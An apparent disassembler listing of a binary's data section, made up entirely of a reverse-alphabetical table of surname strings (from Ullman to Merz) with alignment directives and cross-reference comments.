aUllman		db 'Ullman',0           ; DATA XREF: .nsp0:00435324o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .nsp0:00435320o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .nsp0:0043531Co
		align 10h
aTuttle_0	db 'Tuttle',0           ; DATA XREF: .nsp0:00435318o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .nsp0:00435314o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: .nsp0:00435310o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .nsp0:0043530Co
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: .nsp0:00435308o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .nsp0:00435304o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .nsp0:00435300o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .nsp0:004352FCo
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .nsp0:004352F8o
aTruss		db 'Truss',0            ; DATA XREF: .nsp0:004352F4o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: .nsp0:004352F0o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: .nsp0:004352ECo
aTringali	db 'Tringali',0         ; DATA XREF: .nsp0:004352E8o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .nsp0:004352E4o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .nsp0:004352E0o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .nsp0:004352DCo
		align 10h
aToye		db 'Toye',0             ; DATA XREF: .nsp0:004352D8o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .nsp0:004352D4o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: .nsp0:004352D0o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: .nsp0:004352CCo
aTopulos	db 'Topulos',0          ; DATA XREF: .nsp0:004352C8o
aToomer		db 'Toomer',0           ; DATA XREF: .nsp0:004352C4o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: .nsp0:004352C0o
aTolman		db 'Tolman',0           ; DATA XREF: .nsp0:004352BCo
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: .nsp0:004352B8o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .nsp0:004352B4o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .nsp0:004352B0o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: .nsp0:004352ACo
aTill		db 'Till',0             ; DATA XREF: .nsp0:004352A8o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: .nsp0:004352A4o
aThroop		db 'Throop',0           ; DATA XREF: .nsp0:004352A0o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: .nsp0:0043529Co
aThisted	db 'Thisted',0          ; DATA XREF: .nsp0:00435298o
aThibault	db 'Thibault',0         ; DATA XREF: .nsp0:00435294o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .nsp0:00435290o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .nsp0:0043528Co
		align 4
aThan		db 'Than',0             ; DATA XREF: .nsp0:00435288o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .nsp0:00435284o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .nsp0:00435280o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: .nsp0:0043527Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .nsp0:00435278o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: .nsp0:00435274o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .nsp0:00435270o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .nsp0:0043526Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .nsp0:00435268o
aTatar		db 'Tatar',0            ; DATA XREF: .nsp0:00435264o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .nsp0:00435260o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: .nsp0:0043525Co
aTambiah	db 'Tambiah',0          ; DATA XREF: .nsp0:00435258o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .nsp0:00435254o
		align 4
aTai		db 'Tai',0              ; DATA XREF: .nsp0:00435250o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .nsp0:0043524Co
aSwindle	db 'Swindle',0          ; DATA XREF: .nsp0:off_435248o
aSweetser	db 'Sweetser',0         ; DATA XREF: .nsp0:00435244o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .nsp0:00435240o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: .nsp0:0043523Co
		align 4
aSuo		db 'Suo',0              ; DATA XREF: .nsp0:00435238o
aSumner		db 'Sumner',0           ; DATA XREF: .nsp0:00435234o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .nsp0:00435230o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: .nsp0:0043522Co
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .nsp0:00435228o
aStrauch	db 'Strauch',0          ; DATA XREF: .nsp0:00435224o
aStrange_0	db 'Strange',0          ; DATA XREF: .nsp0:00435220o
aStott		db 'Stott',0            ; DATA XREF: .nsp0:0043521Co
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .nsp0:00435218o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .nsp0:00435214o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .nsp0:00435210o
aStockwell	db 'Stockwell',0        ; DATA XREF: .nsp0:0043520Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .nsp0:00435208o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: .nsp0:00435204o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .nsp0:00435200o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .nsp0:004351FCo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .nsp0:004351F8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .nsp0:004351F4o
aStephanian	db 'Stephanian',0       ; DATA XREF: .nsp0:004351F0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: .nsp0:004351ECo
aStefani	db 'Stefani',0          ; DATA XREF: .nsp0:004351E8o
aStatlender	db 'Statlender',0       ; DATA XREF: .nsp0:004351E4o
		align 4
aStates		db 'States',0           ; DATA XREF: .nsp0:004351E0o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .nsp0:004351DCo
		align 4
aStang		db 'Stang',0            ; DATA XREF: .nsp0:004351D8o
		align 4
aStam		db 'Stam',0             ; DATA XREF: .nsp0:004351D4o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .nsp0:004351D0o
aStmartin	db 'StMartin',0         ; DATA XREF: .nsp0:004351CCo
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: .nsp0:004351C8o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .nsp0:004351C4o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .nsp0:004351C0o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: .nsp0:004351BCo
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .nsp0:004351B8o
aSpence		db 'Spence',0           ; DATA XREF: .nsp0:004351B4o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .nsp0:004351B0o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .nsp0:004351ACo
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: .nsp0:004351A8o
aSpanier	db 'Spanier',0          ; DATA XREF: .nsp0:004351A4o
aSoultanian	db 'Soultanian',0       ; DATA XREF: .nsp0:004351A0o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .nsp0:0043519Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .nsp0:00435198o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .nsp0:00435194o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .nsp0:00435190o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .nsp0:0043518Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .nsp0:00435188o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .nsp0:00435184o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: .nsp0:00435180o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .nsp0:0043517Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .nsp0:00435178o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .nsp0:00435174o
aSmilow		db 'Smilow',0           ; DATA XREF: .nsp0:00435170o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .nsp0:0043516Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: .nsp0:00435168o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .nsp0:00435164o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: .nsp0:00435160o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .nsp0:0043515Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: .nsp0:00435158o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .nsp0:00435154o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .nsp0:00435150o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .nsp0:0043514Co
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .nsp0:00435148o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .nsp0:00435144o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: .nsp0:00435140o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .nsp0:0043513Co
aSiesto		db 'Siesto',0           ; DATA XREF: .nsp0:00435138o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: .nsp0:00435134o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .nsp0:00435130o
aShia		db 'Shia',0             ; DATA XREF: .nsp0:0043512Co
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .nsp0:00435128o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .nsp0:00435124o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: .nsp0:00435120o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .nsp0:0043511Co
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .nsp0:00435118o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: .nsp0:00435114o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: .nsp0:00435110o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .nsp0:0043510Co
aShar		db 'Shar',0             ; DATA XREF: .nsp0:00435108o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .nsp0:00435104o
aShankland	db 'Shankland',0        ; DATA XREF: .nsp0:00435100o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .nsp0:004350FCo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: .nsp0:004350F8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .nsp0:004350F4o
aSexton		db 'Sexton',0           ; DATA XREF: .nsp0:004350F0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .nsp0:004350ECo
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: .nsp0:004350E8o
aSen		db 'Sen',0              ; DATA XREF: .nsp0:004350E4o
aSelvage	db 'Selvage',0          ; DATA XREF: .nsp0:004350E0o
aSekler		db 'Sekler',0           ; DATA XREF: .nsp0:004350DCo
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: .nsp0:004350D8o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .nsp0:004350D4o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: .nsp0:004350D0o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .nsp0:004350CCo
aScovel		db 'Scovel',0           ; DATA XREF: .nsp0:004350C8o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .nsp0:004350C4o
aSchwan		db 'Schwan',0           ; DATA XREF: .nsp0:004350C0o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: .nsp0:004350BCo
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: .nsp0:004350B8o
aSchuman	db 'Schuman',0          ; DATA XREF: .nsp0:004350B4o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .nsp0:004350B0o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .nsp0:004350ACo
aSchilling	db 'Schilling',0        ; DATA XREF: .nsp0:004350A8o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: .nsp0:004350A4o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .nsp0:004350A0o
aScheiner	db 'Scheiner',0         ; DATA XREF: .nsp0:0043509Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .nsp0:00435098o
aScharf		db 'Scharf',0           ; DATA XREF: .nsp0:00435094o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: .nsp0:00435090o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .nsp0:0043508Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .nsp0:00435088o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .nsp0:00435084o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .nsp0:00435080o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .nsp0:0043507Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .nsp0:00435078o
		align 4
aSase		db 'Sase',0             ; DATA XREF: .nsp0:00435074o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .nsp0:00435070o
aSarin		db 'Sarin',0            ; DATA XREF: .nsp0:0043506Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .nsp0:00435068o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .nsp0:00435064o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .nsp0:00435060o
aSamson		db 'Samson',0           ; DATA XREF: .nsp0:0043505Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: .nsp0:00435058o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .nsp0:00435054o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .nsp0:00435050o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .nsp0:0043504Co
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .nsp0:00435048o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: .nsp0:00435044o
aRush_0		db 'Rush',0             ; DATA XREF: .nsp0:00435040o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .nsp0:0043503Co
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .nsp0:00435038o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .nsp0:00435034o
		align 4
aRu		db 'Ru',0               ; DATA XREF: .nsp0:00435030o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: .nsp0:0043502Co
		align 4
aRow		db 'Row',0              ; DATA XREF: .nsp0:00435028o
aRonen		db 'Ronen',0            ; DATA XREF: .nsp0:00435024o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .nsp0:00435020o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .nsp0:0043501Co
aRocha		db 'Rocha',0            ; DATA XREF: .nsp0:00435018o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .nsp0:00435014o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .nsp0:00435010o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: .nsp0:0043500Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .nsp0:00435008o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: .nsp0:00435004o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .nsp0:00435000o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: .nsp0:00434FFCo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .nsp0:00434FF8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .nsp0:00434FF4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .nsp0:00434FF0o
aRenick		db 'Renick',0           ; DATA XREF: .nsp0:00434FECo
		align 4
aRemak		db 'Remak',0            ; DATA XREF: .nsp0:00434FE8o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .nsp0:00434FE4o
aCunningham	db 'Cunningham',0       ; DATA XREF: .nsp0:00434FE0o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .nsp0:00434FDCo
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .nsp0:00434FD8o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .nsp0:00434FD4o
aRapple		db 'Rapple',0           ; DATA XREF: .nsp0:00434FD0o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .nsp0:00434FCCo
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .nsp0:00434FC8o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .nsp0:00434FC4o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .nsp0:00434FC0o
aRadeke		db 'Radeke',0           ; DATA XREF: .nsp0:00434FBCo
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: .nsp0:00434FB8o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .nsp0:00434FB4o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: .nsp0:00434FB0o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: .nsp0:00434FACo
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: .nsp0:00434FA8o
aPugh		db 'Pugh',0             ; DATA XREF: .nsp0:00434FA4o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: .nsp0:00434FA0o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .nsp0:00434F9Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .nsp0:00434F98o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .nsp0:00434F94o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: .nsp0:00434F90o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: .nsp0:00434F8Co
aPreucel	db 'Preucel',0          ; DATA XREF: .nsp0:00434F88o
aPresper	db 'Presper',0          ; DATA XREF: .nsp0:00434F84o
aPowers		db 'Powers',0           ; DATA XREF: .nsp0:00434F80o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .nsp0:00434F7Co
aPoma		db 'Poma',0             ; DATA XREF: .nsp0:00434F78o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: .nsp0:00434F74o
aPolanyi	db 'Polanyi',0          ; DATA XREF: .nsp0:00434F70o
aPolak		db 'Polak',0            ; DATA XREF: .nsp0:00434F6Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: .nsp0:00434F68o
aPointer	db 'Pointer',0          ; DATA XREF: .nsp0:00434F64o
aPoincaire	db 'Poincaire',0        ; DATA XREF: .nsp0:00434F60o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .nsp0:00434F5Co
		align 4
aPo		db 'Po',0               ; DATA XREF: .nsp0:00434F58o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: .nsp0:00434F54o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .nsp0:00434F50o
aPlant		db 'Plant',0            ; DATA XREF: .nsp0:00434F4Co
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .nsp0:00434F48o
aPinot		db 'Pinot',0            ; DATA XREF: .nsp0:00434F44o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .nsp0:00434F40o
aPfister	db 'Pfister',0          ; DATA XREF: .nsp0:00434F3Co
aPettit		db 'Pettit',0           ; DATA XREF: .nsp0:00434F38o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .nsp0:00434F34o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .nsp0:00434F30o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .nsp0:00434F2Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .nsp0:00434F28o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: .nsp0:00434F24o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: .nsp0:00434F20o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: .nsp0:00434F1Co
aPerlak		db 'Perlak',0           ; DATA XREF: .nsp0:00434F18o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: .nsp0:00434F14o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: .nsp0:00434F10o
aPenny		db 'Penny',0            ; DATA XREF: .nsp0:00434F0Co
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: .nsp0:00434F08o
aPederson	db 'Pederson',0         ; DATA XREF: .nsp0:00434F04o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .nsp0:00434F00o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: .nsp0:00434EFCo
aPaynter	db 'Paynter',0          ; DATA XREF: .nsp0:00434EF8o
aPawloski	db 'Pawloski',0         ; DATA XREF: .nsp0:00434EF4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: .nsp0:00434EF0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .nsp0:00434EECo
aPattullo	db 'Pattullo',0         ; DATA XREF: .nsp0:00434EE8o
		align 4
aPatrick_0	db 'Patrick',0          ; DATA XREF: .nsp0:00434EE4o
aPatefield	db 'Patefield',0        ; DATA XREF: .nsp0:00434EE0o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .nsp0:00434EDCo
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: .nsp0:00434ED8o
		align 4
aParris		db 'Parris',0           ; DATA XREF: .nsp0:00434ED4o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .nsp0:00434ED0o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .nsp0:00434ECCo
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .nsp0:00434EC8o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: .nsp0:00434EC4o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .nsp0:00434EC0o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .nsp0:00434EBCo
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .nsp0:00434EB8o
aPalepu		db 'Palepu',0           ; DATA XREF: .nsp0:00434EB4o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .nsp0:00434EB0o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: .nsp0:00434EACo
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .nsp0:00434EA8o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: .nsp0:00434EA4o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: .nsp0:00434EA0o
aOtten		db 'Otten',0            ; DATA XREF: .nsp0:00434E9Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .nsp0:00434E98o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .nsp0:00434E94o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: .nsp0:00434E90o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: .nsp0:00434E8Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: .nsp0:00434E88o
aOray		db 'Oray',0             ; DATA XREF: .nsp0:00434E84o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: .nsp0:00434E80o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .nsp0:00434E7Co
aOman		db 'Oman',0             ; DATA XREF: .nsp0:00434E78o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .nsp0:00434E74o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .nsp0:00434E70o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: .nsp0:00434E6Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: .nsp0:00434E68o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: .nsp0:00434E64o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .nsp0:00434E60o
aOh		db 'Oh',0               ; DATA XREF: .nsp0:00434E5Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: .nsp0:00434E58o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .nsp0:00434E54o
aNuzum		db 'Nuzum',0            ; DATA XREF: .nsp0:00434E50o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .nsp0:00434E4Co
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .nsp0:00434E48o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: .nsp0:00434E44o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .nsp0:00434E40o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: .nsp0:00434E3Co
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .nsp0:00434E38o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: .nsp0:00434E34o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .nsp0:00434E30o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .nsp0:00434E2Co
aNeuman		db 'Neuman',0           ; DATA XREF: .nsp0:00434E28o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .nsp0:00434E24o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .nsp0:00434E20o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: .nsp0:00434E1Co
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .nsp0:00434E18o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .nsp0:00434E14o
aNardone	db 'Nardone',0          ; DATA XREF: .nsp0:00434E10o
aNardi		db 'Nardi',0            ; DATA XREF: .nsp0:00434E0Co
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .nsp0:00434E08o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: .nsp0:00434E04o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: .nsp0:00434E00o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .nsp0:00434DFCo
aMulroy		db 'Mulroy',0           ; DATA XREF: .nsp0:00434DF8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .nsp0:00434DF4o
aMugnai		db 'Mugnai',0           ; DATA XREF: .nsp0:00434DF0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .nsp0:00434DECo
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: .nsp0:00434DE8o
aMotooka	db 'Motooka',0          ; DATA XREF: .nsp0:00434DE4o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .nsp0:00434DE0o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: .nsp0:00434DDCo
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: .nsp0:00434DD8o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: .nsp0:00434DD4o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .nsp0:00434DD0o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: .nsp0:00434DCCo
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: .nsp0:00434DC8o
aMorani		db 'Morani',0           ; DATA XREF: .nsp0:00434DC4o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .nsp0:00434DC0o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .nsp0:00434DBCo
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: .nsp0:00434DB8o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .nsp0:00434DB4o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .nsp0:00434DB0o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .nsp0:00434DACo
aModestino	db 'Modestino',0        ; DATA XREF: .nsp0:00434DA8o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: .nsp0:00434DA4o
aMittal		db 'Mittal',0           ; DATA XREF: .nsp0:00434DA0o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .nsp0:00434D9Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .nsp0:00434D98o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: .nsp0:00434D94o
aMini		db 'Mini',0             ; DATA XREF: .nsp0:00434D90o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .nsp0:00434D8Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: .nsp0:00434D88o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .nsp0:00434D84o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .nsp0:00434D80o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .nsp0:00434D7Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: .nsp0:00434D78o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: .nsp0:00434D74o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .nsp0:00434D70o
aMerz		db 'Merz',0             ; DATA XREF: .nsp0:00434D6Co
		align 4
